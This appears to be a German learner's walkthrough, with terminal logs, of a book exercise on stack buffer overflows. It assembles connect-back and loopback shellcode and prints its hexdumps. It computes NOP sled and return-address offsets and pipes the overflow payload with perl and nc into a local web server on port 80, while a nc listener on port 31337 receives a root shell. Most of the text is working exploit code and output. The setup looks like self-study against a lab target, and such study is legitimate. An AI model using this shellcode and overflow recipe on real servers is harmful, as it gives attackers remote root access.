Macht euch erstmal eine Übersicht von eurer Netzwerkinterfaces
root@tomovic-Satellite-L300:~# ifconfig
eth0 Link encap:Ethernet Hardware Adresse 00:1e:33:75:f5:f0
UP BROADCAST MULTICAST MTU:1500 Metrik:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
Kollisionen:0 Sendewarteschlangenlänge:1000
RX-Bytes:0 (0.0 B) TX-Bytes:0 (0.0 B)
lo Link encap:Lokale Schleife
inet Adresse:127.0.0.1 Maske:255.0.0.0
inet6-Adresse: ::1/128 Gültigkeitsbereich:Maschine
UP LOOPBACK RUNNING MTU:65536 Metrik:1
RX packets:83 errors:0 dropped:0 overruns:0 frame:0
TX packets:83 errors:0 dropped:0 overruns:0 carrier:0
Kollisionen:0 Sendewarteschlangenlänge:0
RX-Bytes:7524 (7.5 KB) TX-Bytes:7524 (7.5 KB)
wlan0 Link encap:Ethernet Hardware Adresse 00:24:d2:3e:41:ce
inet Adresse:192.168.2.101 Bcast:192.168.2.255 Maske:255.255.255.0
inet6-Adresse: fe80::224:d2ff:fe3e:41ce/64 Gültigkeitsbereich:Verbindung
UP BROADCAST RUNNING MULTICAST MTU:1500 Metrik:1
RX packets:26 errors:0 dropped:0 overruns:0 frame:0
TX packets:75 errors:0 dropped:0 overruns:0 carrier:0
Kollisionen:0 Sendewarteschlangenlänge:1000
RX-Bytes:3052 (3.0 KB) TX-Bytes:13471 (13.4 KB)
Vorläufig setzt ihr eure wlan0 auf die folgende IP:
root@tomovic-Satellite-L300:~# ifconfig wlan0 192.168.42.72 up
root@tomovic-Satellite-L300:~# ifconfig wlan0
wlan0 Link encap:Ethernet Hardware Adresse 00:24:d2:3e:41:ce
inet Adresse:192.168.42.72 Bcast:192.168.42.255 Maske:255.255.255.0
inet6-Adresse: fe80::224:d2ff:fe3e:41ce/64 Gültigkeitsbereich:Verbindung
UP BROADCAST RUNNING MULTICAST MTU:1500 Metrik:1
RX packets:43 errors:0 dropped:0 overruns:0 frame:0
TX packets:99 errors:0 dropped:0 overruns:0 carrier:0
Kollisionen:0 Sendewarteschlangenlänge:1000
RX-Bytes:6559 (6.5 KB) TX-Bytes:18779 (18.7 KB)
Achtung !!!
Ich habe mehrmals die letzen Seiten vom Shellkapitel lesen müssen, bis ich alles verstanden hatte.
Ihr benötigt 3 Terminals !!!
1. Webserver
2. Der nc, der auf eine eingehende Verbindung wartet.
3. Der Exploit, der auf den Webserver losgeht.
Jetzt startet ihr nc, wenn ihr den Kram uner Suse verwenden möchtet müsst ihr das -p verlassen
root@tomovic-Satellite-L300:~# nc -v -l -p 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [192.168.42.72] port 31337 [tcp/*] accepted (family 2, sport 43514)
…..wartet und wartet, geht bitte ins andere Terminal....
whoami
root
^C
DAS ANDERE TERMINAL !!!!!!!!!!!
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm connectback_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C connectback_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|
00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|
00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|
00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|
0000004e
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c connectback_shell
78 connectback_shell <---- ist identisch mit dem Buch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $(( 524 - (4*16) - 78))
382
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gdb -q --batch -ex "p /x 0xbffff4c0 + 200"
$1 = 0xbffff588
Ihr müsst die Werte oben übernehmen und unten einfügen.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x382'; cat connectback_shell; perl -e 'print "\x88\xf5\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
open
^C
Ok, in einem anderem Terminal
habt ihr dann eine bash.
Der Vergleich:
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# diff connectback_shell.s loopback_shell.s
21c21,22
< push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72
---
> push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1
> mov WORD [esp+1], dx ; overwrite the BBBB with 0000 in the previous push
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack#
die Lösung A mit Loopbackshell :
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm loopback_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C loopback_shell | grep --color=auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f|
00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..|
00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh|
00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.|
00000050 e1 cd 80 |...|
00000053
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c loopback_shell
83 loopback_shell
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $(( 524 - (4*16) - 83 ))
377
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x377';cat loopback_shell;perl -e 'print "\x88\xf5\x77\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
die Lösung B mit Loopbackshell :
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# wc -c loopback_shell
83 loopback_shell
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 300 -83))
141
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 299 -83))
142
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((524 - 301 -83))
140
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# echo $((152 / 4))
38
Die Rücksprungadresse hat immer 4 Byte, deswegen habe ich herumgerichtet, bis ich auf eine Zahl gekommen bin, die ich durch 4 teilen kann.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# (perl -e 'print "\x90"x301'; cat loopback_shell; perl -e 'print "\x88\xf5\xff\xbf"x38 . "\r\n"') | nc -v 127.0.0.1 80
Connection to 127.0.0.1 80 port [tcp/http] succeeded!
^C
Jetzt solltet ihr eine Shell in eurem anderen Terminal haben, wenn nicht, dann habt ihr etwas falsch gemacht.